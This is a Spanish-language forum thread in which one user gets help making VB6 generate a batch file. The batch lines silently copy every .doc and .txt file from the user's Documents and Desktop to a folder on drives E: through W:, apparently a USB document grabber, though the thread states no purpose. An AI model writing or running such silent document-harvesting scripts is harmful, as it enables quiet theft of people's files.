modifcar bath con vb6

Iniciado por asdexiva, 14 Enero 2013, 19:26 PM

0 Miembros y 1 Visitante están viendo este tema.

asdexiva

ay alguna forma de modicar una parte de mi codigo bath con vb6 ?

esta es la parte del codigo

(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "E:\datossss\")) >NUL
(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "E:\datossss\")) >NUL


quiero agregar o quitar extensiones a copiar *.doc,*.txt quiero modificar eso desde vb6 como un menu pero no tengo idea de como me podrian dar una ayuda solo diganme como lo ago please XD

Danyfirex

podrias hacerlo desde vb6 todo :S.


Código (vb) [Seleccionar]
Private Type SHFILEOPSTRUCT
    hWnd As Long
    wFunc As Long
    pFrom As String
    pTo As String
    fFlags As Integer
    fAborted As Boolean
    hNameMaps As Long
    sProgress As String
End Type

Private Declare Function SHFileOperation Lib "shell32.dll" Alias "SHFileOperationA" (lpFileOp As SHFILEOPSTRUCT) As Long

Const FOF_NOCONFIRMATION = &H10 ' Don't prompt the user.
Const FOF_NOCONFIRMMKDIR = &H200 ' don't confirm making any needed dirs
Const FO_COPY = &H2

Private Function NuCopy(source As String, target As String) As Boolean
'Nucleus
'Copy file(s)/directories from source to destination
'In path of source either file(s) or folder and path of target as folder
'Out: Boolean indicating success
If Right(source, 1) = "\" Then source = Left(source, Len(source) - 1)
If Len(Dir$(target, vbDirectory)) <> 0 And (Len(Dir$(source, vbDirectory)) <> 0 Or Len(Dir$(target, vbDirectory)) <> 0) Then
    Dim SHFileOp As SHFILEOPSTRUCT  ' structure to pass to the function
    With SHFileOp
        .wFunc = FO_COPY
        .pFrom = source
        .pTo = target
        .fFlags = FOF_NOCONFIRMATION Or FOF_NOCONFIRMMKDIR
    End With
    NuCopy = (SHFileOperation(SHFileOp) = 0)
End If
End Function

Private Sub Form_Load()
x = NuCopy("C:\Users\CENTRAL\Desktop\Nueva carpeta\*.txt", "C:\Users\CENTRAL\Desktop\2")
End Sub


saludos

asdexiva

#2
es que lo que quiero es que me genere un bat agregando las extensiones :S


Print #1, "REM E"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "E:\datossss\")) >NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "E:\datossss\")) >NUL"
Print #1, "REM F"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "F:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "F:\datossss\"))>NUL"
Print #1, "REM G"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "G:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "G:\datossss\"))>NUL"
Print #1, "REM H"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "H:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "H:\datossss\"))>NUL"
Print #1, "REM I"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "I:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "I:\datossss\"))>NUL"
Print #1, "REM J"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "J:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "J:\datossss\"))>NUL"
Print #1, "REM k"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "K:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "K:\datossss\"))>NUL"
Print #1, "REM L"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "L:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "L:\datossss\"))>NUL"
Print #1, "REM w"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "W:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "W:\datossss\"))>NUL"


mira si esto lo pongo en vb6 me da error lo que ase este codigo es hacer el bat pero tengo errores en los % "" pff XD espero me puedan ayudar

Danyfirex

#3
así

Código (vb) [Seleccionar]
Dim extensiones As String
 
extensiones = "(*.doc,*.txt)"
               
Open "C:\Users\CENTRAL\Desktop\test.txt" For Append As #1

Print #1, "(FOR /R " & """%userprofile%\Mis documentos\""" & " %%a IN " & extensiones & "  DO  " & "(copy /y " & """%%a""" & " " & """E:\datossss\""" & ")) >NUL"


Close #1
.




asdexiva

muchisimas gracias gracias gracias

&  <--- si no fuera mucha molestia me puedes decir que funcion tienen estas cosas ?

Danyfirex

Cita de: asdexiva en 15 Enero 2013, 00:16 AM
muchisimas gracias gracias gracias

&  <--- si no fuera mucha molestia me puedes decir que funcion tienen estas cosas ?



Es la operación por la cual dos caracteres se unen para formar una cadena de caracteres (o string). También se pueden concatenar dos cadenas de caracteres o un carácter con una cadena para formar una cadena de mayor tamaño. Algunos ejemplos:
'a' concatenado 'b' → "ab"
"ABCD" concatenado 'b' → "ABCDb"
'a' concatenado "XYZ" → "aXYZ"
"ABCD" concatenado "XYZ" → "ABCDXYZ"


saludos